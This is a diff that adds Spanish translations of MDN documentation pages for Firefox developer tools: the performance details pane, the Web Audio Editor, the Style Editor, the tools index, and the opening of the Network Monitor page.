+<h2 id="Ventana_de_detalles_(Details_pane)">Ventana de detalles (Details pane)</h2>
+
+<p>La ventana de detalles muestra cualquier herramienta seleccionada. Para cambiar entre ellas, usa los botones de la <a href="/en-US/docs/Tools/Performance/UI_Tour#Toolbar">barra de herramientas</a>.</p>
+
+<h3 id="Vista_en_cascada">Vista en cascada</h3>
+
+<p>La vista en cascada da una vision de que esta haciendo el navegador durante la grabación: ejecutar Javascript, actualizar CSS,  actualizar la composición de la pagina y el rendimiento del redibujado. El eje-x representa el tiempo y las operaciones grabadas van apareciendo en forma de cascada, reflejando así la naturaleza que tiene el navegador el ejecutar las tareas en serie.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10929/perf-waterfall.png" style="display: block; height: 568px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>Para aprender mas sobre la <a href="/en-US/docs/Tools/Performance/Waterfall">vista en cascada</a> puedes visitar su entrada.</p>
+
+<h3 id="Árbol_de_llamadas">Árbol de llamadas</h3>
+
+<p>El árbol de llamadas es una muestra del Javascript que se ejecuta en la pagina. Son una serie de muestras del estado del motor de Javascript y registra el stack de código ejecutado en el momento que se toma la muestra. Estadísticamente, el numero de muestras tomadas al ejecutar una función especifica, corresponde con la cantidad de tiempo que el navegador ha empleado para ejecutarlo, así puedes identificar los cuellos de botella en tu código.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10949/perf-call-tree.png" style="display: block; height: 384px; margin-left: auto; margin-right: auto; width: 972px;"><br>
+ Para aprender mas sobre el <a href="/en-US/docs/Tools/Performance/Call_Tree">árbol de llamadas</a> puedes visitar su entrada.</p>
+
+<h3 id="Gráfico_de_llama">Gráfico de llama</h3>
+
+<p>Si el árbol de llamadas te muestra estadísticamente que funciones de tu sitio gastan mas tiempo de ejecución durante la grabación, el gráfico de llama nos indica cualquier stack llamado durante la misma:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10933/perf-flame-chart.png" style="display: block; height: 504px; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>Para aprender mas sobre el <a href="/en-US/docs/Tools/Performance/Flame_Chart">gráfico de llama</a> puedes visitar su entrada.</p>
+
+<h3 id="Asignaciones">Asignaciones</h3>
+
+<div class="geckoVersionNote">
+<p>La vista de Asignaciones es nueva en Firefox 46.</p>
+</div>
+
+<p>La vista de Asignaciones es como el árbol de llamadas, pero para las asignaciones: Nos muestra que funciones en tu pagina tienen mas memoria asignada durante el transacurso de la grabación.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12413/allocations-view-1.png" style="display: block; margin-left: auto; margin-right: auto; width: 972px;"></p>
+
+<p>La vista de Asignaciones solo aparece si haz seleccionado "Grabar Asignaciones" en las opciones de las herramientas de rendimiento antes de hacer una nueva grabación.</p>
+
+<p>{{EmbedYouTube("Le9tTo7bqts")}}</p>
+
+<p>Para aprender mas sobre las <a href="/en-US/docs/Tools/Performance/Allocations">Asignaciones</a> puedes visitar su entrada.</p>
diff --git a/files/es/tools/editor_audio_web/index.html b/files/es/tools/editor_audio_web/index.html
new file mode 100644
index 0000000000..2db0cdbe58
--- /dev/null
+++ b/files/es/tools/editor_audio_web/index.html
@@ -0,0 +1,31 @@
+---
+title: Editor de audio web
+slug: Tools/Editor_Audio_Web
+translation_of: Tools/Web_Audio_Editor
+---
+<div class="geckoVersionNote">
+ <p>El editor de audio web es nuevo en Firefox 32.</p>
+</div>
+<p>Con la <a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">API de Audio Web</a>, los desarrolladores crean un <a href="/en-US/docs/Web/API/AudioContext">contexto de audio</a>. Dentro de ese contexto construyen un número de  <a href="/en-US/docs/Web/API/AudioNode">nodos de audio</a>, incluyendo:</p>
+<ul>
+ <li>nodos que proporcionan la <a href="/en-US/docs/Web/API/Web_Audio_API#Defining_audio_sources">fuente del audio</a>, como un oscilador o una fuente de buffer de datos</li>
+ <li>nodos que realizan <a href="/en-US/docs/Web/API/Web_Audio_API#Defining_audio_effects_filters">transformaciones</a> como delay y ganancia</li>
+ <li>nodos que representan el <a href="/en-US/docs/Web/API/Web_Audio_API#Defining_audio_destinations">destino del flujo de audio</a>, como los altavoces</li>
+</ul>
+<p>Cada nodo tiene cero o más propiedades <code><a href="/en-US/docs/Web/API/AudioParam">AudioParam</a></code> que configuran su operación. Por ejemplo, <code><a href="/en-US/docs/Web/API/GainNode">GainNode</a></code> tiene solamente la propiedad <code>gain</code>, mientras que <a href="/en-US/docs/Web/API/OscillatorNode"><code>OscillatorNode</code></a> tiene las propiedades <code>frequency</code> y <code>detune</code>.</p>
+<p>El desarrollador conecta los nodos en un gráfico y ese gráfico completo define el comportamiento del flujo de audio.</p>
+<p>El editor de audio web examina un contexto de audio construido en la página y proporciona una visualización de su gráfico. Esto da una vista de alto nivel de su operación y permite asegurar que todos los nodos están conectados de la forma esperada. Entonces se pueden examinar y editar las propiedades <code>AudioParam</code> para cada nodo del gráfico. Algunas propiedades no-<code>AudioParam</code>, como una propiedad <code>OscillatorNode</code>'s <code>type</code> son mostradas y también se pueden editar.</p>
+<p>Esta herramienta todavía es experimental. Si encuentra errores, nos encantaría que los <a class="external external-icon" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&amp;component=Developer%20Tools%3A%20Web%20Audio%20Editor">informe en Bugzilla</a>. Si tiene alguna opinión o sugerencias para nuevas funcionalidades, <a href="http://ffdevtools.uservoice.com/forums/246087-firefox-developer-tools-ideas">ffdevtools.uservoice.com</a> o <a href="http://twitter.com/firefoxdevtools">Twitter</a> son lugares excelentes para registrarlas.</p>
+<h2 id="Abriendo_el_editor_de_audio_web">Abriendo el editor de audio web</h2>
+<p>El editor de audio web no está habilitado por defecto en Firefox 32. Para habilitarlo, abra la <a href="/es/docs/Tools/Tools_Toolbox#Configuraciones">Configuración de herramientas de desarrollador</a> y marque "Audio web". Ahora debería haber una pestaña extra en la <a href="/es/docs/Tools/Tools_Toolbox#Barra_de_herramientas">Barra de herramientas</a> llamada "Audio web". Haga clic en esa pestaña y cargue una página que construya un contexto de audio. Dos demos interesantes son:</p>
+<ul>
+ <li><a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-Matic</a>, puede aplicar varios efectos a la entrada de micrófono y también muestra una visualización del resultado</li>
+ <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, cambia el tono y el volumen de una onda sinusoidal al mover el puntero del mouse</li>
+</ul>
+<h2 id="Visualizando_el_gráfico">Visualizando el gráfico</h2>
+<p>El editor de audio web ahora mostrará el gráfico del contexto de audio cargado. Aquí está el gráfico del demo de Violent Theremin:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/7941/web-audio-editor-graph.png" style="display: block; margin-left: auto; margin-right: auto;">Se puede ver que usa tres nodos: un <a href="/en-US/docs/Web/API/OscillatorNode"><code>OscillatorNode</code></a> como fuente, un <a href="/en-US/docs/Web/API/GainNode"><code>GainNode</code></a> para controlar el volumen y un <a href="/en-US/docs/Web/API/AudioDestinationNode"><code>AudioDestinationNode</code></a> como destino.</p>
+<h2 id="Inspeccionando_y_modificando_AudioNodes">Inspeccionando y modificando AudioNodes</h2>
+<p>Si hace clic en un nodo, se restalta y aparece un inspector del nodo en el lado derecho. Ahí se listan los valores de las propiedades del nodo <code>AudioParam</code>. Por ejemplo, así se ve el OscillatorNode:</p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/7943/web-audio-editor-inspect-node.png" style="display: block; margin-left: auto; margin-right: auto;">Con el demo de Violent Theremin, el parámetro frecuencia es modificado cuando el usuario mueve el mouse hacia la izquierda o la derecha y eso se puede ver reflejado en el inspector del nodo. Sin embargo, el valor no es actualizado en tiempo real: hay que hacer clic en el nodo nuevamente para ver el valor actualizado.</p>
+<p>Si se hace clic en el valor en el inspector del nodo se puede modificar: presione Intro o Tab y el nuevo valor tiene efecto inmediatamente.</p>
diff --git a/files/es/tools/editor_estilo/index.html b/files/es/tools/editor_estilo/index.html
new file mode 100644
index 0000000000..cdfc54bebf
--- /dev/null
+++ b/files/es/tools/editor_estilo/index.html
@@ -0,0 +1,101 @@
+---
+title: Editor de Estilo
+slug: Tools/Editor_Estilo
+tags:
+  - CSS
+  - Desarrollo web
+  - Herramientas
+  - Herramientas de desarrollo web
+  - Hojas de estilo
+translation_of: Tools/Style_Editor
+---
+<p>El editor de estilo te permite:</p>
+
+<ul>
+ <li>ver y editar todas las hojas de estilo asociadas con una página</li>
+ <li>crear nuevas hojas de estilo desde bosquejos y aplicarlas a una página</li>
+ <li>importar hojas de estilo existentes y aplicarlas en la página</li>
+</ul>
+
+<p>{{EmbedYouTube("7839qc55r7o")}}</p>
+
+<p>Para abrir el Editor de Estilo selecciona la opción "Editor de Estilo" desde el menú "Web Developer" (este es un submenu del menú "Tools" o "Herramientas" en una Mac). El Toolbox o caja de herramientas aparecerá en la parte inferior de la ventana del navegador, con el Editor de Estilo activado:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6941/style-editor.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>El Editor de Estilo está divivido en  dos secciones principales: el panel de estilos en la izquierda y el editor en la derecha.</p>
+
+<div class="geckoVersionNote">
+<p>From Firefox 33 onwards, there's a third component to the Style Editor: <a href="/en-US/docs/Tools/Style_Editor#The_media_sidebar">the media sidebar</a>.</p>
+</div>
+
+<h2 id="El_panel_de_hojas_de_estilo">El panel de hojas de estilo</h2>
+
+<p>El panel de hojas de estilo, en la izquierda, muestra todas las hojas de estilos que están siendo utilizadas por el documento actual.  You can quickly toggle the use of a given sheet on and off by clicking the eyeball icon to the left of the sheet's name. Puede guardar los cambios hechos en la hoja de estilos a su computador, haciendo clic en el botón Guardar en la esquina inferior derecha de cada hoja de estilos de la lista.</p>
+
+<h2 id="El_panel_de_edición">El panel de edición</h2>
+
+<p>A la derecha está el panel de edición. Aquí está disponible el código fuente de la hoja de estilo seleccionada, lista para ver y editar. Cualquier cambio que realice será aplicada inmediatamente. This makes it easy to experiment with, revise, and test changes. Una vez esté satisfecho con sus cambios, puede guardar una copia localmente, haciendo clic en el botón Guardar.</p>
+
+<p><span style="line-height: 1.5;">El editor contiene numeración de líneas y resaltamiento de código, haciendo más fácil la lectura de su CSS. También soporta </span><a href="/en-US/docs/Tools/Style_Editor#Source_editor_shortcuts" style="line-height: 1.5;">keyboard shortcuts</a><span style="line-height: 1.5;">.</span></p>
+
+<p>El Editor de Estilos automáticamente des-minimiza las hojas de estilo que detecta, sin afectar el original. Esto facilita mucho el trabajo en páginas que ya han sido optimizadas.</p>
+
+<p>El Editor de Estilos soporta autocompletado. Empiece escribiendo y el sistema le ofrecerá una lista de sugerencias.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6943/style-editor-autocomplete.png" style="display: block; margin-left: auto; margin-right: auto;">Puede deshabilitar el autocompletado en <a href="/en-US/docs/Tools_Toolbox#Style_Editor">Style Editor settings</a>.</p>
+
+<h2 id="La_barra_lateral_media">La barra lateral "media"</h2>
+
+<p>A partir de Firefox 33 en adelante, el Editor de Estilos muestra una barra lateral a la derecha cuando se encuentra alguna regla @media (<a href="/en-US/docs/Web/Guide/CSS/Media_queries"><code>@media</code> rules</a>). La barra lateral muestra las reglas y provee un link a la línea donde se define dicha regla. Haga clic en un ítem para ir hacia la definición de esa regla en la hoja de estilo. El texto condicional de la regla estará en gris si el media query no aplica.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8365/style-editor-media-sidebar-detail.png" style="display: block; margin-left: auto; margin-right: auto;">La barra lateral de medios funciona especialmente bien con <a href="https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_View">Responsive Design View</a> para crear y depurar diseños móviles :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8363/style-editor-media-sidebar.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Creación_e_importación_de_hojas_de_estilo">Creación e importación de hojas de estilo</h2>
+
+<p>Se puede crear una nueva hoja de estilos haciendo click en el nuevo botón de la barra de herrramientas. A continuación puedes comenzar a introducir  CSS en el nuevo editor y ver como los nuevos estilos se aplican de forma inmediata ,al igual que los cambios en otras hojas.</p>
+
+<p>Se puede cargar una hoja de estilos desde el disco y aplicarlo a la página haciendo click en el boton de importar.</p>
+
+<h2 id="Soporte_de_mapa_fuente">Soporte de mapa fuente</h2>
+
+<p>{{EmbedYouTube("zu2eZbYtEUQ")}}</p>
+
+<p>Los desarrolladores web, con frecuencia crean archivos CSS  utilizando un preprocesador como  <a href="http://sass-lang.com/">Sass</a>, <a href="http://lesscss.org/">Less</a>, o <a href="http://learnboost.github.io/stylus/">Stylus</a>. Estas herramientas generan archivos CSS  procedentes de un sintasix mas rico y expresivo. Si haces esto, seras capaz de editar y  ver que el  CSS  generado no es tan util, porque el código que mantienes es el <span class="short_text" id="result_box" lang="es"><span>sintaxis</span> <span>preprocesado</span></span>, no el  CSS generado. Por lo que necesitarás editar el CSS generado, y después manualmente trabajar sobre como reaplicarlo a la fuente original.</p>
+
+<p>Mapas Fuente habilita para regresar desde el CSS generado a la síntasix original, entonces  se puede ver, y te permite editar archivos en la síntasix original. A partir de Firefox 29 en adelante, el editor de estilos puede interpretar mapas fuente de CSS .</p>
+
+<p>Esto significa que si utilizas, por ejemplo, Sass, el Editor de Estilos  mostrará,y permitirá editar,archivos Sass , en lugar del CSS que se ha generado desde ellos:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/6939/style-editor-sourcemap-820.png" style="display: block; margin-left: auto; margin-right: auto;">Para que esto funcione ,es necesario:</p>
+
+<ul>
+ <li>utilizar un preprocesador CSS que interprete  <a href="https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit">Source Map Revision 3 proposal</a>. Actualmente esto significa <a href="http://sass-lang.com/">Sass 3.3.0 </a> o superior , o la <a href="http://roots.io/using-less-source-maps/">versión 1.5.0 de Less</a>. Otros preprocesadores están trabajando activamente en añadir soporte, o lo están considerando.</li>
+ <li>actualmente el preprocesador da instrucciones para generar un mapa fuente, por ejemplo pasando el argumento <code>--sourcemap</code> a la herramienta de comando en linea de  Sass.</li>
+</ul>
+
+<h3 id="Visualización_de_las_fuentes_originales">Visualización de las fuentes originales</h3>
+
+<p>Ahora, si compruebas "mostrar fuentes originales" en los <a href="/en-US/docs/Tools_Toolbox#Style_Editor">ajustes del Editor de estilos</a>, el vínculo junto a las reglas  CSS en la <a href="/en-US/docs/Tools/Page_Inspector#Rules_view">Vista de Reglas</a> ,vincula con las fuentes originales en el Editor de Estilos.</p>
+
+<h3 id="Edición_de_las_fuentes_originales">Edición de las fuentes originales</h3>
+
+<p>Se pueden editar tambien las fuentes originales en el  Editor de estilos y ver el resultado aplicado a la página de inmediato. Para conseguir que esto funcione hay dos pasos adicionales.</p>
+
+<p>Primero, configura el preprocesador para que muestre la fuente original y automaticamente regenere el CSS cuando cambien las fuentes. Con Sass puedes hacer esto simplemente pasando la opción <code>--watch</code> :</p>
+
+<pre>sass index.scss:index.css --sourcemap --watch</pre>
+
+<p>A continuación, guarda la fuente original en el editor de estilos haciendo click en el botón   "Guardar" junto al archivo, y este se guardará sobre el archivo original.</p>
+
+<p>Ahora cuando hagas cambios en el archivo original en el  Editor de Estilos , el CSS se regenerará y podrás ver los cambios de forma inmediata.</p>
+
+<h2 id="Atajos_de_Teclado">Atajos de Teclado</h2>
+
+<h3 id="Atajos_del_editor_de_código_fuente">Atajos del editor de código fuente</h3>
+
+<p>{{ Page ("en-US/docs/tools/Keyboard_shortcuts", "source-editor") }}</p>
+
+<p>{{ languages( { "ja": "ja/Tools/Style_Editor"} ) }}</p>
diff --git a/files/es/tools/index.html b/files/es/tools/index.html
new file mode 100644
index 0000000000..1edcffcd61
--- /dev/null
+++ b/files/es/tools/index.html
@@ -0,0 +1,211 @@
+---
+title: Herramientas
+slug: Tools
+tags:
+  - Desarrollando Mozilla
+  - 'Desarrollo Web: Herramientas'
+  - Desarrollo web
+  - Herramientas
+  - Necesita Revisión Técnica
+  - Necesita traducción
+  - NeedsMarkupWork
+  - TopicStub
+translation_of: Tools
+---
+<div>{{ToolsSidebar}}</div>
+<div class="summary"><span class="seoSummary">Examina, edita y depura HTML, CSS y  JavaScript en el ordenador y en el móvil</span></div>
+
+<div class="column-container zone-callout"><a href="https://www.mozilla.org/en-US/firefox/developer/" style="float: right; margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Instala Firefox Developer Edition</a>
+
+<h3 id="What's_new_in_Aurora.3F" name="What's_new_in_Aurora.3F">¿Qué hay de nuevo en Firefox Developer Edition?</h3>
+
+<p><a href="/en-US/Firefox/Developer_Edition">Firefox Developer Edition</a> es una versión de Firefox adaptada para desarrolladores, ofreciendo las últimas características y herramientas de desarrollo experimental. La actual edición de desarrollo (<a href="/en-US/Firefox/Developer_Edition">Firefox Developer Edition</a>) incluye estos cambios en las herramientas de desarrollador:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Web_Console/Console_messages#Server">Registro del servidor en la Consola Web</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Overridden_declarations">Busqueda rápida de la regla sobre escrita en la declaración del CSS</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#Element_popup_menu">"Usar en Consola" en el item de menu contextual en el Inspector</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Strict_search">Opción "estricto" para filtrado en las reglas de la vista</a></li>
+ <li><a href="/en-US/docs/Tools/Web_Console/Console_messages#Network">Entradas de red en la Consola ahora enlaza al Monitor de Red</a></li>
+ <li><span class="author-g-1scq3ywqbljc5puc">Nueva barra lateral UI para WebIDE</span></li>
+</ul>
+</div>
+
+<div class="column-container zone-callout"><a href="http://mzl.la/devtools" style="float: right; margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Comparte tus ideas</a>
+
+<h3 id="Share_your_ideas" name="Share_your_ideas">Comparte tus ideas</h3>
+
+<p>Pregunte por las nuevas propiedades en las herramientas de desarrollador o vote por las ideas que otros desarrolladores están solicitando.</p>
+</div>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10529/inspector.png" style="display: block; height: 467px; margin-left: auto; margin-right: auto; width: 815px;"></p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Creating" name="Creating">Creando</h2>
+
+<p>Herramientas de autorización para sitios web y aplicaciones web.</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/Scratchpad">Scratchpad</a></dt>
+ <dd>Un editor construido dentro de Firefox que te permite escribir y ejecutar JavaScript.</dd>
+ <dt><a href="/en-US/docs/Tools/Style_Editor">Editor de estilos</a></dt>
+ <dd>Revisa y edita estilos CSS para la página actual.</dd>
+ <dt><a href="/en-US/docs/Tools/Shader_Editor">Editor de sombras</a></dt>
+ <dd>Revisa y edita los vertex y fragmentos de sombras usado por <a href="/en-US/docs/Web/WebGL">WebGL</a>.</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Audio_Editor">Editor de audio web</a></dt>
+ <dd>Examina el gráfico de los nodos de audio en un contexto de audio y modifica sus parámetros.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Exploring" name="Exploring">Explorando y depurando</h2>
+
+<p>Examina, explora y depura sitios web y aplicaciones web.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Web_Console">Consola Web</a></dt>
+ <dd>Mira mensajes de registro (logs) en una página web e interactua con la página usando JavaScript.</dd>
+ <dt><a href="/en-US/docs/Tools/Page_Inspector">Inspector de página</a></dt>
+ <dd>Revisa y modifica el HTML y CSS de la página.</dd>
+ <dt><a href="/en-US/docs/Tools/Debugger">Depurador JavaScript</a></dt>
+ <dd>Deten, ve paso a paso, examina y modifica el JavaScript que está ejecuntandose in una página.</dd>
+ <dt><a href="/en-US/docs/Tools/Network_Monitor">Monitor de red</a></dt>
+ <dd>Mira las solicitudes de red hechas cuando una página está cargada.</dd>
+ <dt><a href="/en-US/docs/Tools/Storage_Inspector">Inspector de almacenamiento</a></dt>
+ <dd>Inspecciona cookies, almacenamiento local, Inspect cookies, local storage, indexedDB y almacenamiento de session presente en una página.</dd>
+ <dt><a href="/en-US/docs/Tools/GCLI">Barra de desarrollador</a></dt>
+ <dd>Una interface de linea de comandos para el desarrollador.</dd>
+ <dt><a href="/en-US/docs/Tools/3D_View">Vista 3D</a></dt>
+ <dd>Visualization 3D de la página.</dd>
+ <dt><a href="/en-US/docs/Tools/Eyedropper">Eyedropper</a></dt>
+ <dd>Selecciona un color de la página.</dd>
+ <dt><a href="/en-US/docs/Tools/Working_with_iframes">Trabajando con iframes</a></dt>
+ <dd>Como seleccionar un iframe en particular.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<h2 id="Mobile" name="Mobile">Móvil</h2>
+
+<p>Herramientas para desarrollo móvil.</p>
+
+<dl>
+ <dt><a href="/en-US/Firefox_OS/Using_the_App_Manager">Administrador de aplicaciones</a></dt>
+ <dd>El administrador de aplicaciones ha sido reemplazado por <a href="/en-US/docs/Tools/WebIDE">WebIDE</a>.</dd>
+ <dt><a href="/en-US/docs/Tools/WebIDE">WebIDE</a></dt>
+ <dd>El reemplazo para el App Manager, disponible desde Firefox 33 en adelante.</dd>
+ <dt><a href="/en-US/docs/Tools/Firefox_OS_Simulator">Simulador de Firefox OS</a></dt>
+ <dd>Corre y depura tu aplicación de Firefox OS en el escritorio, sin necesidad de un dispositivo Firefox OS real.</dd>
+ <dt><a href="https://developer.mozilla.org/en-us/docs/Tools/Responsive_Design_View">Responsive Design View</a></dt>
+ <dd>Mira como tu sitio o aplicación se verá en diferentes pantallas sin cambiar el tamaño de la ventana del navegador.</dd>
+ <dt><a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">Depurando Firefox para Android</a></dt>
+ <dd>Conecta las herramientas de desarrollador a Firefox para Android.</dd>
+ <dt><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE">Depurando Firefox para Android con WebIDE</a></dt>
+ <dd>Para Desktop Firefox 36+ / Android Firefox 35+, existe un proceso más sencillo.</dd>
+ <dt><a href="/en-US/docs/Tools/Valence">Valence</a></dt>
+ <dd>Conecta las herramientas de desarrollo de Chrome con Android y Safari en iOS</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Performance" name="Performance">Rendimiento</h2>
+
+<p>Diagnostica y arregla problemas de rendimiento.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance">Performance tool</a></dt>
+ <dd>Analiza la capacidad de respuesta de tu sitio web, del JavaScript y el rendimiento del diseño.</dd>
+ <dt><a href="/en-US/docs/Tools/Performance/Frame_rate">Frame rate graph</a></dt>
+ <dd>Revisa la velocidad de frames de tu sitio web.</dd>
+ <dt><a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a></dt>
+ <dd>Averigua como esta funcionando tu sito web en el navegador.</dd>
+ <dt><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a></dt>
+ <dd>Averigua donde está el codigo JavaScript perdiendo el tiempo.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a></dt>
+ <dd>Muestra las funciones que están en la cola de  trabajo a lo largo de un perfil.</dd>
+ <dt><a href="/en-US/docs/Tools/Paint_Flashing_Tool">Paint Flashing Tool</a></dt>
+ <dd>Resalta las partes de la página que son repintadas en respuesta a eventos.</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console#Reflow_events">Reflow Event Logging</a></dt>
+ <dd>Ver eventos en la consola web de reflujo.</dd>
+ <dt><a href="/en-US/docs/Tools/Network_Monitor#Performance_analysis">Network Performance</a></dt>
+ <dd>Muestra cuanto tardan en cargar las partes de tu sitio web.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+
+
+
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Debugging_the_browser" name="Debugging_the_browser">Depuración del navegador</h2>
+
+<p>By default, the developer tools are attached to a web page or web app. But you can also connect them to the browser as a whole. This is useful for browser and add-on development.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Browser_Console">Browser Console</a></dt>
+ <dd>See messages logged by the browser itself and add-ons, and run JavaScript code in the browser's scope.</dd>
+ <dt><a href="/en-US/docs/Tools/Browser_Toolbox">Browser Toolbox</a></dt>
+ <dd>Attach the Developer Tools to the browser itself.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Extending_the_devtools" name="Extending_the_devtools">Extending the devtools</h2>
+
+<p>The developer tools are designed to be extensible. Firefox add-ons can access the developer tools and the components they use to extend existing tools and add new tools. With the remote debugging protocol you can implement your own debugging clients and servers, enabling you to debug websites using your own tools or to debug different targets using the Firefox tools.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Adding_a_panel_to_the_toolbox">Add a new panel to the devtools</a></dt>
+ <dd>Write an add-on that adds a new panel to the Toolbox.</dd>
+ <dt><a href="https://wiki.mozilla.org/Remote_Debugging_Protocol">Remote Debugging Protocol</a></dt>
+ <dd>The protocol used to connect the Firefox Developer Tools to a debugging target like an instance of Firefox or a Firefox OS device.</dd>
+ <dt><a href="/en-US/docs/Tools/Editor">Source Editor</a></dt>
+ <dd>A code editor built into Firefox that can be embedded in your add-on.</dd>
+ <dt><a href="/en-US/docs/Tools/Debugger-API">The <code>Debugger</code> Interface</a></dt>
+ <dd>An API that lets JavaScript code observe the execution of other JavaScript code. The Firefox Developer Tools use this API to implement the JavaScript debugger.</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console/Custom_output">Web Console custom output</a></dt>
+ <dd>How to extend and customize the output of the <a href="/en-US/docs/Tools/Web_Console">Web Console</a> and the <a href="/en-US/docs/Tools/Browser_Console">Browser Console</a>.</dd>
+ <dt><a href="/en-US/docs/Tools/Example_add-ons">Example devtools add-ons</a></dt>
+ <dd>Use these examples to understand how to implement a devtools add-on.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="More_resources" name="More_resources">Más recursos</h2>
+
+<p>Esta sección muestra una lista de recursos que no están mantenidos por el equipo de desarrolladores de herramientas de Firefox, pero que son ampliamente usados por los desarrolladores web. Hemos incluido algunos complementos para Firefox en esta lista, pero para un listado completo vea la categoria  <a href="https://addons.mozilla.org/es/firefox/extensions/web-development/">"Desarrollo web" en addons.mozilla.org</a>.</p>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="https://www.getfirebug.com/">Firebug</a></dt>
+ <dd>Una potente y popular herramienta de desarrollo web, que incluye un depurador para JavaScript, visor y editor de CSS y HTML, y un monitor de red.</dd>
+ <dt><a href="/en-US/docs/Tools/Add-ons/DOM_Inspector">DOM Inspector</a></dt>
+ <dd>Inspecciona, busca y edita los DOM de las páginas web o las ventanas XUL.</dd>
+ <dt><a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/">Web Developer</a></dt>
+ <dd>Añade un menú y una barra de herramientas al navegador con varias utilidades para el desarrollo web.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="https://webmaker.org/en-US/tools/">Webmaker Tools</a></dt>
+ <dd>Un conjunto de utilidades creadas por Mozilla, enfocadas para la gente que empieza con el desarrollo Web.</dd>
+ <dt><a href="http://www.w3.org/Status.html">W3C Validators</a></dt>
+ <dd>La web del W3C alberga herramientas para comprobar y validar su sitio web, incluyendo su HTML y CSS.</dd>
+ <dt><a href="http://www.jshint.com/">JSHint</a></dt>
+ <dd>Herramienta para el análisis del código JavaScript.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/tools/monitor_de_red/index.html b/files/es/tools/monitor_de_red/index.html
new file mode 100644
index 0000000000..f50f1ee0fc
--- /dev/null
+++ b/files/es/tools/monitor_de_red/index.html
@@ -0,0 +1,189 @@
+---
+title: Monitor de Red
+slug: Tools/Monitor_de_Red
+tags:
+  - Debugging
+  - Firefox
+  - Guía
+  - Herramientas
+  - Herramientas de Desarrollador
+  - Redes
+translation_of: Tools/Network_Monitor
+---
+<p>El monitor de red muestra todas las solicitudes de red que Firefox realiza (por ejemplo, cuando carga una página, o debido a <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequests</a>), cuanto tiempo toma cada petición, y los detalles de cada petición. Para abrir el monitor seleccione "Red" del menu "Desarrollador Web"  (el cual es un Submenú del Menú "Herramientas" en Mac), o abra Herramientas de Desarrollador Web y seleccione la solapa "Red".</p>
+
+<p>El monitor de red aparecerá al final de la ventana de navegación. Recargue la página para ver las solicitudes:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7405/nm-overview.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h2 id="Lista_de_Solicitudes_de_Red">Lista de Solicitudes de Red</h2>
+
+<p>Por defecto, el Monitor de Red muestra una lista de todas las solicitudes de red hechas durante la carga de una página. Cada solicitud es mostrada en su propia linea:<br>
